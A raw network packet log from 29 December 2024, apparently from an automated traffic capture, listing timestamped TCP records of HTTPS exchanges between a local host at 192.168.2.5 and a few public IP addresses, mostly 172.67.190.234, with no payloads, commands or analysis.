Dec 29, 2024 14:15:37.266652107 CET	49866	443	192.168.2.5	104.102.49.254
Dec 29, 2024 14:15:37.266678095 CET	443	49866	104.102.49.254	192.168.2.5
Dec 29, 2024 14:15:37.266700983 CET	49866	443	192.168.2.5	104.102.49.254
Dec 29, 2024 14:15:37.266709089 CET	443	49866	104.102.49.254	192.168.2.5
Dec 29, 2024 14:15:37.427082062 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:37.427109003 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:37.427194118 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:37.427223921 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:37.427345991 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:37.427345991 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:37.430238962 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:37.430253983 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:37.430316925 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:37.430330992 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:37.430377007 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:37.434179068 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:37.434195042 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:37.434254885 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:37.434272051 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:37.434318066 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:37.437341928 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:37.437357903 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:37.437439919 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:37.437463999 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:37.437514067 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:37.441328049 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:37.441353083 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:37.441409111 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:37.441433907 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:37.441474915 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:37.444196939 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:37.444212914 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:37.444288969 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:37.444314957 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:37.444365025 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:37.448158979 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:37.448177099 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:37.448266983 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:37.448292017 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:37.448353052 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:37.451323986 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:37.451339960 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:37.451402903 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:37.451428890 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:37.451477051 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:37.549077988 CET	49874	443	192.168.2.5	172.67.157.254
Dec 29, 2024 14:15:37.549125910 CET	443	49874	172.67.157.254	192.168.2.5
Dec 29, 2024 14:15:37.549220085 CET	49874	443	192.168.2.5	172.67.157.254
Dec 29, 2024 14:15:37.549582958 CET	49874	443	192.168.2.5	172.67.157.254
Dec 29, 2024 14:15:37.549599886 CET	443	49874	172.67.157.254	192.168.2.5
Dec 29, 2024 14:15:37.628599882 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:37.628627062 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:37.628885984 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:37.628928900 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:37.628978968 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:37.631757021 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:37.631772995 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:37.631829977 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:37.631845951 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:37.631886005 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:37.635629892 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:37.635648966 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:37.635735989 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:37.635751009 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:37.635790110 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:37.638842106 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:37.638859987 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:37.638936996 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:37.638957024 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:37.638994932 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:37.642702103 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:37.642714977 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:37.642786980 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:37.642802000 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:37.642839909 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:37.645703077 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:37.645718098 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:37.645776987 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:37.645792961 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:37.645832062 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:37.649630070 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:37.649646997 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:37.649724007 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:37.649739027 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:37.649760008 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:37.650149107 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:37.652834892 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:37.652858973 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:37.652901888 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:37.652915001 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:37.652929068 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:37.652966022 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:37.829695940 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:37.829727888 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:37.829782963 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:37.829816103 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:37.829833031 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:37.829859018 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:37.833534956 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:37.833551884 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:37.833612919 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:37.833631992 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:37.833669901 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:37.836754084 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:37.836770058 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:37.836838961 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:37.836854935 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:37.836899996 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:37.840616941 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:37.840636969 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:37.840682983 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:37.840698004 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:37.840715885 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:37.840740919 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:37.843972921 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:37.843987942 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:37.844046116 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:37.844063044 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:37.844101906 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:37.847621918 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:37.847639084 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:37.847695112 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:37.847712994 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:37.847755909 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:37.850682020 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:37.850697041 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:37.850754023 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:37.850766897 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:37.850809097 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:37.854625940 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:37.854643106 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:37.854712963 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:37.854729891 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:37.854770899 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:38.031351089 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:38.031377077 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:38.031501055 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:38.031537056 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:38.031611919 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:38.035243034 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:38.035268068 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:38.035322905 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:38.035346985 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:38.035363913 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:38.035388947 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:38.038438082 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:38.038463116 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:38.038503885 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:38.038520098 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:38.038544893 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:38.038561106 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:38.041591883 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:38.041620970 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:38.041656017 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:38.041668892 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:38.041711092 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:38.041764975 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:38.045605898 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:38.045630932 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:38.045681953 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:38.045696020 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:38.045741081 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:38.049161911 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:38.049176931 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:38.049245119 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:38.049266100 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:38.049307108 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:38.052313089 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:38.052331924 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:38.052381992 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:38.052395105 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:38.052437067 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:38.052459955 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:38.056205988 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:38.056222916 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:38.056293011 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:38.056308031 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:38.056349993 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:38.233580112 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:38.233606100 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:38.233695030 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:38.233736038 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:38.233751059 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:38.233783960 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:38.236749887 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:38.236769915 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:38.236838102 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:38.236855984 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:38.236897945 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:38.239681959 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:38.239701033 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:38.239737034 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:38.239753008 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:38.239764929 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:38.239792109 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:38.243560076 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:38.243586063 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:38.243635893 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:38.243652105 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:38.243674994 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:38.243693113 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:38.246803999 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:38.246822119 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:38.246876955 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:38.246893883 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:38.246906042 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:38.246933937 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:38.250448942 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:38.250464916 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:38.250515938 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:38.250530958 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:38.250572920 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:38.250590086 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:38.253592968 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:38.253621101 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:38.253660917 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:38.253674030 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:38.253699064 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:38.253715038 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:38.257602930 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:38.257620096 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:38.257692099 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:38.257708073 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:38.257777929 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:38.434140921 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:38.434165955 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:38.434251070 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:38.434286118 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:38.435817003 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:38.437975883 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:38.437995911 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:38.438067913 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:38.438092947 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:38.439699888 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:38.441153049 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:38.441169024 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:38.441226959 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:38.441242933 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:38.443696022 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:38.445023060 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:38.445039034 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:38.445091963 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:38.445106030 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:38.447696924 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:38.448262930 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:38.448276997 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:38.448339939 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:38.448350906 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:38.448399067 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:38.448414087 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:38.451935053 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:38.451947927 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:38.452002048 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:38.452018023 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:38.455122948 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:38.455147028 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:38.455235004 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:38.455250978 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:38.455318928 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:38.455339909 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:38.632911921 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:38.632934093 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:38.633074999 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:38.633107901 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:38.633414030 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:38.635622978 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:38.635638952 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:38.635720968 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:38.635730982 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:38.635824919 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:38.638866901 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:38.638880968 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:38.638952017 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:38.638961077 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:38.639045954 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:38.642833948 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:38.642849922 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:38.642916918 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:38.642925024 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:38.643018007 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:38.646001101 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:38.646015882 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:38.646090984 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:38.646099091 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:38.646183014 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:38.649933100 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:38.649950981 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:38.650005102 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:38.650012970 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:38.650190115 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:38.653492928 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:38.653507948 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:38.653578997 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:38.653601885 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:38.653673887 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:38.656758070 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:38.656771898 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:38.656845093 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:38.656860113 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:38.656935930 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:38.821175098 CET	443	49874	172.67.157.254	192.168.2.5
Dec 29, 2024 14:15:38.821268082 CET	49874	443	192.168.2.5	172.67.157.254
Dec 29, 2024 14:15:38.823023081 CET	49874	443	192.168.2.5	172.67.157.254
Dec 29, 2024 14:15:38.823076963 CET	443	49874	172.67.157.254	192.168.2.5
Dec 29, 2024 14:15:38.823374987 CET	443	49874	172.67.157.254	192.168.2.5
Dec 29, 2024 14:15:38.824578047 CET	49874	443	192.168.2.5	172.67.157.254
Dec 29, 2024 14:15:38.824608088 CET	49874	443	192.168.2.5	172.67.157.254
Dec 29, 2024 14:15:38.824677944 CET	443	49874	172.67.157.254	192.168.2.5
Dec 29, 2024 14:15:38.834466934 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:38.834494114 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:38.834542036 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:38.834570885 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:38.834588051 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:38.835953951 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:38.837064028 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:38.837084055 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:38.837219954 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:38.837236881 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:38.837291002 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:38.840936899 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:38.840955973 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:38.840991020 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:38.841006041 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:38.841020107 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:38.841043949 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:38.844188929 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:38.844211102 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:38.844254017 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:38.844269037 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:38.844284058 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:38.844305992 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:38.847361088 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:38.847377062 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:38.847430944 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:38.847445965 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:38.848532915 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:38.851406097 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:38.851422071 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:38.851489067 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:38.851502895 CET	443	49860	172.67.190.234	192.168.2.5
